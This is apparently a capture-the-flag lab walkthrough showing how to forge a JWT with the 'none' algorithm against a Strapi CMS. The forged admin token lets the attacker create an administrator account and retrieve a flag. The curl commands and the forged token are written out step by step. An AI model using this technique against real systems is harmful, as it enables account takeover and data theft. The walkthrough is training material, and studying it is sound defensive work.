Hacking JWT Tokens: The None Algorithm
In our lab walkthrough series, we go through selected lab exercises on our AttackDefense Platform. Premium labs require a subscription, but you can sign in for free to try our community labs and view the list of topics — no subscription or VPN required!
Hello all, I am back with another common issue that might be leveraged to hack JWT tokens! Many times, the developers create the applications but don’t update the dependencies / libraries either because the update process might break the existing application or they are not aware of the consequences that could happen due to this. Nevertheless, its a serious issue and can lead to compromise of the system as we will see in this post.
Prerequisites:
Some basic knowledge on JWT Tokens is a prerequisite for this lab. You can learn more on JWT from the following links:
Lab Scenario
We have set up the below scenario in our Attack-Defense labs for our students to practice. The screenshots have been taken from our online lab environment.
Lab: The None Algorithm
This lab environment consists of a target machine hosting Strapi CMS on port 1337.
The REST API backed by the CMS makes use of JWT-based authorization. However, the library code handling the JWT signature algorithm was not updated and was buggy!
Objective: Leverage the issue to get admin access on the CMS and retrieve the flag stored on it!
Solution:
Step 1: Check the IP address of the machine.
Command: ifconfig
The IP address of the machine is “192.14.147.2”
Therefore, the target REST API is running on 192.14.147.3, at port 1337.
Step 2: Checking the presence of the REST API.
Command: curl 192.14.147.3:1337
The response reflects that Strapi CMS is running on the target machine.
Step 3: Getting the JWT Token for user elliot.
Command: curl -H “Content-Type: application/json” -X POST -d ‘{“identifier”: “elliot”,”password”: “elliotalderson”}’ http://192.14.147.3:1337/auth/local/ | jq
The response contains the JWT Token for the user.
JWT Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiaWF0IjoxNTczMzU4Mzk2fQ.RwNNHvOKZk8p6fICIeezuajDalK8ZSOkEGMhZsRPFSk
Step 4: Decoding the header and payload parts of the JWT token obtained in the previous step.
Using base64 utility to decode the token.
Decoding the header part of the token retrieved in Step 3:
Command: echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
Decoding the payload part of the token retrieved in Step 3:
Command: echo eyJpZCI6MiwiaWF0IjoxNTczMzU4Mzk2fQ | base64 -d
Note: Sometimes decoding the header or payload using base64 utility might result in an error. It happens because JWT token uses base64UrlEncode algorithm. It strips off all the “=” signs which serve as the padding character in base64 encoded data.
Step 5: Creating a forged token.
Since the secret key used for signing the tokens is not known, let’s create a JWT token specifying the “none” algorithm.
Using base64 utility to generate the forged token.
Changing the signing algorithm to “none”:
Command: echo -n ‘{“typ”:”JWT”,”alg”:”none”}’ | base64
Note: Remove all the trailing “=” from the output.
Modified Header: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
Changing the id to “1” in the payload part of the token:
Command: echo -n ‘{“id”:1,”iat”:1573358396}’ | base64
Note: Remove all the trailing “=” from the output.
Note: In Strapi, the id is assigned as follows:
- Administrator user has id = 1
- Authenticated user has id = 2
- Public user has id = 3
Since we are using “none” algorithm, no signing key would be used. So, the value for id could be forged and changed to 1 (Administrator).
Modified Payload: eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ
We will keep the signature part of the JWT Token as empty, since we are using the signature algorithm as “none”.
Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ.
Note: Do not forget to place a trailing dot at the end of the payload section.
Using https://jwt.io to decode the forged token:
The “Decoded” section shows that the token has been forged correctly.
Step 6: Creating a new user with administrator role.
Use the following curl command to create a new user with administrator role (role = 1).
Command: curl -X POST -H “Content-Type: application/json” -H “Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ.” http://192.14.147.3:1337/users -d ‘{ “username”: “test”, “email”: “[email protected]”, “password”: “password”, “role”:”1" }’ | jq
Note: The JWT token used in the Authorization header is the one created in the previous step, using the “none” algorithm.
The request for the creation of the new user succeeded. This means that the API supports the JWT tokens signed using the “none” algorithm.
Step 7: Login to the Strapi Admin Panel using the credentials of the newly created user.
Open the following URL in firefox:
Strapi Admin Panel URL: http://192.14.147.3:1337/admin
Step 8: Retrieving the secret flag.
Open the Secretflags content type on the left panel.
Notice there is only one entry. That entry contains the flag.
Click on that entry and retrieve the flag.
Flag: 6d58532b4cc01572953028
Lesson Learnt!! Make sure to keep the libraries / dependencies up-to-date. Otherwise, the issue as we have seen above can happen. And the consequences are not good at all!! It can lead to account takeover, data loss and more importantly, damage to the reputation of the party that got compromised.
Well, that’s what I had for you guys today. If you enjoyed this post then make sure to check out my other posts in the Hacking JWT Tokens series.
Go beyond walkthroughs with hands-on practice. Subscribe now and gain access to 2000+ lab exercises including this one! We also provide on-demand bootcamps — follow along with instructors as they go through the labs and progressively master in-demand topics regardless of time zone!
References: